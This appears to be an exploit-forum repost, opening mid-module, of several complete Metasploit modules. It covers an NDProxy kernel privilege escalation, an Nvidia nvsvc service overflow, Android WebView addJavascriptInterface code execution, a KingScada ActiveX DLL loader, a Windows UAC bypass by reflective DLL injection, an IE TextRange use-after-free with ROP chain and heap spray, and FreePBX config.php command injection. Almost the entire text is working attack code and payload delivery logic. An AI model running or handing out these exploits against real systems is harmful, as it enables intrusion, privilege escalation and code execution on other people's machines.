    if handle.nil?
      return Exploit::CheckCode::Safe
    end
    session.railgun.kernel32.CloseHandle(handle)
  
    os = sysinfo["OS"]
    case os
    when /windows xp.*service pack 3/i
      return Exploit::CheckCode::Appears
    when /[2003|.net server].*service pack 2/i
      return Exploit::CheckCode::Appears
    when /windows xp/i
      return Exploit::CheckCode::Detected
    when /[2003|.net server]/i
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  
  end
  
  def exploit
  
    vprint_status("Adding the railgun stuff...")
    add_railgun_functions
  
    if sysinfo["Architecture"] =~ /wow64/i
      fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
    elsif sysinfo["Architecture"] =~ /x64/
      fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
    end
  
    my_target = nil
    if target.name =~ /Automatic/
      print_status("Detecting the target system...")
      os = sysinfo["OS"]
      if os =~ /windows xp.*service pack 3/i
        my_target = targets[1]
        print_status("Running against #{my_target.name}")
      elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
        my_target = targets[2]
        print_status("Running against #{my_target.name}")
      elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
        my_target = targets[2]
        print_status("Running against #{my_target.name}")
      end
    else
      my_target = target
    end
  
    if my_target.nil?
      fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
    end
  
    print_status("Checking device...")
    handle = open_device("\\\\.\\NDProxy")
    if handle.nil?
      fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
    else
      print_good("\\\\.\\NDProxy found!")
    end
  
    print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
    @addresses = disclose_addresses(my_target)
    if @addresses.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
    else
      print_good("Addresses successfully disclosed.")
    end
  
  
    print_status("Storing the kernel stager on memory...")
    this_proc = session.sys.process.open
    kernel_shell = ring0_shellcode(my_target)
    kernel_shell_address = 0x1000
    result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
    else
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end
  
    print_status("Storing the trampoline to the kernel stager on memory...")
    trampoline = "\x90" * 0x38       # nops
    trampoline << "\x68"             # push opcode
    trampoline << [0x1000].pack("V") # address to push
    trampoline << "\xc3"             # ret
    trampoline_addr = 0x1
    result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing trampoline on memory")
    else
      print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
    end
  
    print_status("Storing the IO Control buffer on memory...")
    buffer = "\x00" * 1024
    buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
    buffer[28, 4] = [0x34].pack("V")      # In order to trigger the vulnerable call
    buffer_addr = 0x0d0d0000
    result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
    else
      print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
    end
  
    print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
    magic_ioctl = 0x8fff23c8
    # Values taken from the exploit in the wild, see references
    ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
  
    session.railgun.kernel32.CloseHandle(handle)
  
    print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
    result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
  
    print_status("Checking privileges after exploitation...")
  
    unless is_system?
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    end
  
    p = payload.encoded
    print_good("Exploitation successful! Creating a new process and launching payload...")
    new_pid = create_proc
  
    if new_pid.nil?
      print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
      return
    end
  
    print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
    if execute_shellcode(p, nil, new_pid)
      print_good("Enjoy")
    else
      fail_with(Failure::Unknown, "Error while executing the payload")
    end
  
  
  end
  
end
 
# 1F8D7DDB3D6B6DCD   1337day.com [2013-12-18]   B8A9C25AF47DA92B #

Информация по сплоиту.
 
Nvidia (nvsvc) Display Driver Service Local Privilege Escalation Exploit

Код:
# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

 

require 'msf/core'

require 'rex'

require 'msf/core/post/common'

require 'msf/core/post/windows/priv'

require 'msf/core/post/windows/process'

require 'msf/core/post/windows/reflective_dll_injection'

require 'msf/core/post/windows/services'

 

class Metasploit3 < Msf::Exploit::Local

  Rank = AverageRanking

 

  include Msf::Post::File

  include Msf::Post::Windows::Priv

  include Msf::Post::Windows::Process

  include Msf::Post::Windows::ReflectiveDLLInjection

  include Msf::Post::Windows::Services

 

  def initialize(info={})

    super(update_info(info, {

      'Name'            => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation',

      'Description'     => %q{

        The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to

        interact with the service. It contains a stacked based buffer overflow as a result

        of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe',

        the service name is 'nvsvc', and the named pipe is 'nsvr'.

 

        This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012.

        It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012.

      },

      'License'         => MSF_LICENSE,

      'Author'          =>

        [

          'Peter Wintersmith', # Original exploit

          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',   # Metasploit integration

        ],

      'Arch'            => ARCH_X86_64,

      'Platform'        => 'win',

      'SessionTypes'    => [ 'meterpreter' ],

      'DefaultOptions'  =>

        {

          'EXITFUNC'    => 'thread',

        },

      'Targets'         =>

        [

          [ 'Windows x64', { } ]

        ],

      'Payload'         =>

        {

          'Space'       => 2048,

          'DisableNops' => true,

          'BadChars'    => "\x00"

        },

      'References'      =>

        [

          [ 'CVE', '2013-0109' ],

          [ 'OSVDB', '88745' ],

          [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ],

        ],

      'DisclosureDate' => 'Dec 25 2012',

      'DefaultTarget'  => 0

    }))

 

  end

 

  def check

    vuln_hashes = [

      '43f91595049de14c4b61d1e76436164f',

      '3947ad5d03e6abcce037801162fdb90d',

      '3341d2c91989bc87c3c0baa97c27253b'

    ]

 

    os = sysinfo["OS"]

    if os =~ /windows/i

      svc = service_info 'nvsvc'

      if svc and svc['Name'] =~ /NVIDIA/i

        vprint_good("Found service '#{svc['Name']}'")

 

        begin

          if is_running?

            print_good("Service is running")

          else

            print_error("Service is not running!")

          end

        rescue RuntimeError => e

          print_error("Unable to retrieve service status")

        end

 

        if sysinfo['Architecture'] =~ /WOW64/i

          path = svc['Command'].gsub('"','').strip

          path.gsub!("system32","sysnative")

        else

          path = svc['Command'].gsub('"','').strip

        end

 

        begin

          hash = client.fs.file.md5(path).unpack('H*').first

        rescue Rex::Post::Meterpreter::RequestError => e

          print_error("Error checking file hash: #{e}")

          return Exploit::CheckCode::Detected

        end

 

        if vuln_hashes.include?(hash)

          vprint_good("Hash '#{hash}' is listed as vulnerable")

          return Exploit::CheckCode::Vulnerable

        else

          vprint_status("Hash '#{hash}' is not recorded as vulnerable")

          return Exploit::CheckCode::Detected

        end

      else

        return Exploit::CheckCode::Safe

      end

    end

  end

 

  def is_running?

    begin

      status = service_status('nvsvc')

      return (status and status[:state] == 4)

    rescue RuntimeError => e

      print_error("Unable to retrieve service status")

      return false

    end

  end

 

  def exploit

    if is_system?

      fail_with(Exploit::Failure::None, 'Session is already elevated')

    end

 

    unless check == Exploit::CheckCode::Vulnerable

      fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")

    end

 

    print_status("Launching notepad to host the exploit...")

 

    windir = expand_path("%windir%")

    cmd = "#{windir}\\SysWOW64\\notepad.exe"

    process = client.sys.process.execute(cmd, nil, {'Hidden' => true})

    host_process = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)

    print_good("Process #{process.pid} launched.")

 

    print_status("Reflectively injecting the exploit DLL into #{process.pid}...")

    library_path = ::File.join(Msf::Config.data_directory,

                               "exploits",

                               "CVE-2013-0109",

                               "nvidia_nvsvc.x86.dll")

    library_path = ::File.expand_path(library_path)

 

    print_status("Injecting exploit into #{process.pid} ...")

    exploit_mem, offset = inject_dll_into_process(host_process, library_path)

 

    print_status("Exploit injected. Injecting payload into #{process.pid}...")

    payload_mem = inject_into_process(host_process, payload.encoded)

 

    # invoke the exploit, passing in the address of the payload that

    # we want invoked on successful exploitation.

    print_status("Payload injected. Executing exploit...")

    host_process.thread.create(exploit_mem + offset, payload_mem)

 

    print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")

  end

end
 
Android Browser / WebView addJavascriptInterface Code Execution

This Metasploit module exploits a privilege escalation issue in Android versions prior 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection APIs exposed by the Interface and execute arbitrary commands. Some distributions of the Android Browser app have an addJavascriptInterface call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs 4.1.2 release of Android is known to be vulnerable. A secondary attack vector involves the WebViews embedded inside a large number of Android applications. Ad integrations are perhaps the worst offender here. If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS into the page displayed in the WebView, then you can inject the html/js served by this module and get a shell. Note: Adding a .js to the URL will return plain javascript (no HTML markup).

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::Remote::BrowserAutopwn

  autopwn_info({
    :os_flavor  => "Android",
    :arch       => ARCH_ARMLE,
    :javascript => true,
    :rank       => ExcellentRanking,
    :vuln_test  => %Q|
      for (i in top) {
        try {
          top[i].getClass().forName('java.lang.Runtime');
          is_vuln = true; break;
        } catch(e) {}
      }
    |
  })

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Android Browser and WebView addJavascriptInterface Code Execution',
      'Description' => %q{
            This module exploits a privilege escalation issue in Android < 4.2's WebView component
          that arises when untrusted Javascript code is executed by a WebView that has one or more
          Interfaces added to it. The untrusted Javascript code can call into the Java Reflection
          APIs exposed by the Interface and execute arbitrary commands.

          Some distributions of the Android Browser app have an addJavascriptInterface
          call tacked on, and thus are vulnerable to RCE. The Browser app in the Google APIs
          4.1.2 release of Android is known to be vulnerable.

          A secondary attack vector involves the WebViews embedded inside a large number
          of Android applications. Ad integrations are perhaps the worst offender here.
          If you can MITM the WebView's HTTP connection, or if you can get a persistent XSS
          into the page displayed in the WebView, then you can inject the html/js served
          by this module and get a shell.

          Note: Adding a .js to the URL will return plain javascript (no HTML markup).
      },
      'License'     => MSF_LICENSE,
      'Author'      => [
        'jduck', # original msf module
        'joev'   # static server
      ],
      'References'     => [
        ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+
                'addjavascriptinterface-code-execution-vulnerability/'],
        ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'],
        ['URL', 'http://50.56.33.56/blog/?p=314'],
        ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+
                'addjavascriptinterface-remote-code-execution/']
      ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_ARMLE,
      'DefaultOptions' => { 'PrependFork' => true },
      'Targets'        => [ [ 'Automatic', {} ] ],
      'DisclosureDate' => 'Dec 21 2012',
      'DefaultTarget'  => 0,
      'BrowserRequirements' => {
        :source  => 'script',
        :os_flavor  => "Android",
        :arch       => ARCH_ARMLE
      }
    ))
  end

  def on_request_uri(cli, req)
    if req.uri.end_with?('js')
      print_status("Serving javascript")
      send_response(cli, js, 'Content-type' => 'text/javascript')
    else
      super
    end
  end

  def on_request_exploit(cli, req, browser)
    print_status("Serving exploit HTML")
    send_response_html(cli, html)
  end

  def js
    %Q|
      function exec(obj) {
        // ensure that the object contains a native interface
        try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }

        // get the runtime so we can exec
        var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
        var data = "#{Rex::Text.to_hex(payload.encoded_exe, '\\\\x')}";

        // get the process name, which will give us our data path
        var p = m.invoke(null, null).exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
        var ch, path = '/data/data/';
        while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
        path += '/#{Rex::Text.rand_text_alpha(8)}';

        // build the binary, chmod it, and execute it
        m.invoke(null, null).exec(['/system/bin/sh', '-c', 'echo "'+data+'" > '+path]).waitFor();
        m.invoke(null, null).exec(['chmod', '700', path]).waitFor();
        m.invoke(null, null).exec([path]);

        return true;
      }

      for (i in top) { if (exec(top[i]) === true) break; }
    |
  end

  def html
    "<!doctype html><html><body><script>#{js}</script></body></html>"
  end
end
 
KingScada kxClientDownload.ocx ActiveX Remote Code Execution

CVE-2013-2827

This Metasploit module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. The ProjectURL property can be abused to download and load arbitrary DLLs from arbitrary locations, leading to arbitrary code execution, because of a dangerous usage of LoadLibrary. Due to the nature of the vulnerability, this module will work only when Protected Mode is not present or not enabled.

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
      'Description'    => %q{
        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
        The ProjectURL property can be abused to download and load arbitrary DLLs from
        arbitrary locations, leading to arbitrary code execution, because of a dangerous
        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
        only when Protected Mode is not present or not enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi',  # aka rgod original discovery
          'juan vazquez'       # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-2827'],
          ['OSVDB', '102135'],
          ['BID', '64941'],
          ['ZDI', '14-011'],
          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
          :ua_name     => /MSIE|KXCLIE/i
        },
      'Payload'        =>
        {
          'Space'           => 2048,
          'StackAdjustment' => -3500,
          'DisableNopes'    => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jan 14 2014'))
  end
 
  def on_request_exploit(cli, request, target_info)
    print_status("Requested: #{request.uri}")
 
    if request.uri =~ /\/libs\/.*\.dll/
      print_good("Sending DLL payload")
      send_response(cli,
        generate_payload_dll(:code => get_payload(cli, target_info)),
        'Content-Type' => 'application/octet-stream'
      )
      return
    elsif request.uri =~ /\/libs\//
      print_status("Sending not found")
      send_not_found(cli)
      return
    end
 
    content = <<-EOS
<html>
<body>
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
<param name="ProjectURL" value="#{get_module_uri}"></param>
</object>
</body>
</html>
    EOS
 
    print_status("Sending #{self.name}")
    send_response_html(cli, content)
  end
 
end
 
# 45345F45C4D8D4C5   1337day.com [2014-02-12]   3CEB49F0CA873C6D #
 
Windows Escalate UAC Protection Bypass (In Memory Injection)

This Metasploit module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. This Metasploit module uses the Reflective DLL Injection technique to drop only the DLL payload binary instead of three separate binaries in the standard technique. However, it requires the correct architecture to be selected, (use x64 for SYSWOW64 systems also).

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'msf/core/exploit/exe'
 
class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking
 
  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::ReflectiveDLLInjection
 
  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',
      'Description'   => %q{
        This module will bypass Windows UAC by utilizing the trusted publisher
        certificate through process injection. It will spawn a second shell that
        has the UAC flag turned off. This module uses the Reflective DLL Injection
        technique to drop only the DLL payload binary instead of three seperate
        binaries in the standard technique. However, it requires the correct
        architecture to be selected, (use x64 for SYSWOW64 systems also).
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
          'mitnick',
          'mubix', # Port to local exploit
          'Ben Campbell <eat_meatballs[at]hotmail.co.uk' # In memory technique
        ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ],
      'Targets'       => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    => [
        [
          'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/',
          'URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html'
        ]
      ],
      'DisclosureDate'=> "Dec 31 2010"
    ))
 
  end
 
  def bypass_dll_path
    # path to the bypassuac binary
    path = ::File.join(Msf::Config.data_directory, "post")
 
    # decide, x86 or x64
    sysarch = sysinfo["Architecture"]
    if sysarch =~ /x64/i
      unless(target_arch.first =~ /64/i) and (payload_instance.arch.first =~ /64/i)
        fail_with(
            Exploit::Failure::BadConfig,
            "x86 Target Selected for x64 System"
        )
      end
 
      if sysarch =~ /WOW64/i
        return ::File.join(path, "bypassuac-x86.dll")
      else
        return ::File.join(path, "bypassuac-x64.dll")
      end
    else
      if (target_arch.first =~ /64/i) or (payload_instance.arch.first =~ /64/i)
        fail_with(
            Exploit::Failure::BadConfig,
            "x64 Target Selected for x86 System"
        )
      end
 
      ::File.join(path, "bypassuac-x86.dll")
    end
  end
 
 
 
  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?
 
    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    else
      if admin_group
        print_good('Part of Administrators group! Continuing...')
      else
        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
      end
    end
 
    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Exploit::Failure::NoAccess, "Cannot BypassUAC from Low Integrity Level")
    end
  end
 
 
 
  def exploit
    validate_environment!
 
    case get_uac_level
      when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
        fail_with(Exploit::Failure::NotVulnerable,
                  "UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
        )
      when UAC_DEFAULT
        print_good "UAC is set to Default"
        print_good "BypassUAC can bypass this setting, continuing..."
      when UAC_NO_PROMPT
        print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
        runas_method
        return
    end
 
    check_permissions!
 
    @temp_path = expand_path('%TEMP%').strip
 
    upload_payload_dll!
 
    pid = spawn_inject_proc
 
    run_injection(pid, bypass_dll_path)
 
    # delete the uac bypass payload
    vprint_status("Cleaning up payload file...")
    file_rm(payload_filepath)
  end
 
 
  def payload_filepath
    "#{@temp_path}\\CRYPTBASE.dll"
  end
 
 
 
  def runas_method
    payload = generate_payload_exe
    payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
    tmpdir = expand_path("%TEMP%")
    tempexe = tmpdir + "\\" + payload_filename
    write_file(tempexe, payload)
    print_status("Uploading payload: #{tempexe}")
    session.railgun.shell32.ShellExecuteA(nil,"runas",tempexe,nil,nil,5)
    print_status("Payload executed")
  end
 
 
 
 
  def run_injection(pid, dll_path)
    vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
    begin
      vprint_status("Opening process #{pid}")
      host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
      exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
      vprint_status("Executing payload")
      thread = host_process.thread.create(exploit_mem + offset, 0)
      print_good("Successfully injected payload in to process: #{pid}")
      client.railgun.kernel32.WaitForSingleObject(thread.handle,14000)
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Failed to Inject Payload to #{pid}!")
      vprint_error(e.to_s)
    end
  end
 
 
 
  def spawn_inject_proc
    windir = expand_path("%WINDIR%").strip
    print_status("Spawning process with Windows Publisher Certificate, to inject into...")
    cmd = "#{windir}\\System32\\notepad.exe"
    pid = cmd_exec_get_pid(cmd)
 
    unless pid
      fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
    end
 
    pid
  end
 
 
 
  def upload_payload_dll!
    payload = generate_payload_dll({:dll_exitprocess => true})
    print_status("Uploading the Payload DLL to the filesystem...")
    begin
      vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
      write_file(payload_filepath, payload)
    rescue Rex::Post::Meterpreter::RequestError => e
      fail_with(
          Exploit::Exception::Unknown,
          "Error uploading file #{payload_filepath}: #{e.class} #{e}"
      )
    end
  end
 
 
 
 
  def validate_environment!
    fail_with(Exploit::Failure::None, 'Already in elevated state') if is_admin? or is_system?
 
    winver = sysinfo["OS"]
 
    unless winver =~ /Windows 2008|Windows [7]/
      fail_with(Exploit::Failure::NotVulnerable, "#{winver} is not vulnerable.")
    end
 
    if is_uac_enabled?
      print_status "UAC is Enabled, checking level..."
    else
      if is_in_admin_group?
        fail_with(Exploit::Failure::Unknown, "UAC is disabled and we are in the admin group so something has gone wrong...")
      else
        fail_with(Exploit::Failure::NoAccess, "Not in admins group, cannot escalate with this module")
      end
    end
  end
 
end
 
# 93FF44BC63B6B20B   1337day.com [2014-03-06]   98690A7D2D4AFEF3 #
 
MS14-012 Internet Explorer TextRange Use-After-Free

This Metasploit module exploits a use-after-free vulnerability found in Internet Explorer. The flaw was most likely introduced back in 2013, therefore only certain builds of MSHTML are affected. In our testing with IE9, these vulnerable builds appear to be between 9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014 (before the patch).

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::BrowserExploitServer
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS14-012 Internet Explorer TextRange Use-After-Free",
      'Description'    => %q{
        This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
        was most likely introduced back in 2013, therefore only certain builds of MSHTML are
        affected. In our testing with IE9, these vulnerable builds appear to be between
        9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
        (before the patch).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jason Kratzer', # Original discovery
          'sinn3r'         # Port
        ],
      'References'     =>
        [
          [ 'CVE', '2014-0307' ],
          [ 'MSB', 'MS14-012' ]
        ],
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script/i,
          :os_name => OperatingSystems::WINDOWS,
          :ua_name => HttpClients::IE,
          :office  => "2010"
          #:ua_ver  => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
        },
      'Targets'        =>
        [
          [
            'Automatic',
              {
                # mov eax,dword ptr [edx+0C4h]; call eax
                'Pivot' => 0x0c0d1020 # ECX
              }
          ]
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
        },
      'DefaultOptions'  =>
        {
          'Retries'              => false, # You're too kind, tab recovery, I only need 1 shell.
          'InitialAutoRunScript' => 'migrate -f'
        },
      'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
      'DefaultTarget'  => 0))
  end
 
  # hxds.dll
  def get_payload
    setup =
    [
      0x51C3B376, # rop nop
      0x51C2046E, # pop edi; ret
      0x51BE4A41, # xchg eax, esp; ret
    ].pack("V*")
 
    # rop nops
    45.times { setup << [0x51C3B376].pack('V*') }
 
    setup << [
      0x51C2046E, # pop edi; ret
      0x51BD28D4  # mov eax, [ecx], call [eax+8]
    ].pack('V*')
 
    p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
 
    Rex::Text.to_unescape(p)
  end
 
  def exploit_html
    template = %Q|<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv='Cache-Control' content='no-cache'/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" >
    <script>
      <%=js_property_spray%>
      sprayHeap({shellcode:unescape("<%=get_payload%>")});
 
      function hxds() {
        try {
          location.href = 'ms-help:';
        } catch(e) {}
      }
 
      function strike() {
        hxds();
        var fake = "";
        for (var i = 0; i < 12; i++) {
          if (i==0) {
             fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
          }
          else {
            fake += "\\u4141\\u4141";
          }
        }
 
        var elements = [
          'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
          'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
        ];
 
        for (var i = 0; i < elements.length; i++) {
          var element = document.createElement(elements[i]);
          document.body.appendChild(element);
        }
 
        var tRange = document.body.createTextRange();
        tRange.moveToElementText(document.body.children[16]);
        tRange.execCommand('InsertInputSubmit', true, null);
        tRange.moveToElementText(document.body.children[0]);
        tRange.moveEnd('character',4);
        tRange.execCommand('InsertOrderedList', true, null);
        tRange.select();
        tRange.moveToElementText(document.body.children[0]);
        tRange.moveEnd('character',13);
        tRange.execCommand('Underline', true, null);
        tRange.execCommand('RemoveFormat', true, null);
        var fillObject = document.createElement('button');
        fillObject.className = fake;
      }
    </script>
  </head>
  <body onload='strike();'></body>
</html>
    |
 
    return template, binding()
  end
 
  def on_request_exploit(cli, request, target_info)
    send_exploit_html(cli, exploit_html)
  end
 
end
 
FreePBX config.php Remote Code Execution Vulnerability

This Metasploit module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11. It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php" parameters "function" and "args".

Код:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "FreePBX config.php Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
        It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
        parameters "function" and "args".
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'i-Hmx', # Vulnerability discovery
          '0x00string', # PoC
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-1903'],
          ['OSVDB', '103240'],
          ['EDB', '32214'],
          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['FreePBX', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 21 2014",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
        ], self.class)
 
      register_advanced_options(
        [
          OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
        ], self.class)
  end
 
 
  def check
    vprint_status("#{peer} - Trying to detect installed version")
 
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "admin", "CHANGES")
    })
 
    if res and res.code == 200 and res.body =~ /^(.*)$/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end
 
    vprint_status("#{peer} - Version #{version} detected")
 
    if version =~ /2\.(9|10|11)\.0/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end
 
  def exploit
    rand_data = rand_text_alpha_lower(rand(10) + 5)
 
    print_status("#{peer} - Sending payload")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "admin", "config.php"),
      'vars_get' => {
        "display" => rand_data,
        "handler" => "api",
        "function" => datastore['PHPFUNC'],
        "args" => payload.encoded
      }
    })
 
    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res and res.code != 200
      print_error("#{peer} - Unexpected response, exploit probably failed!")
    end
 
  end
 
end
 
# E378CE52E36EADD1   1337day.com [2014-03-26]   CE4728AF6068DB32 #
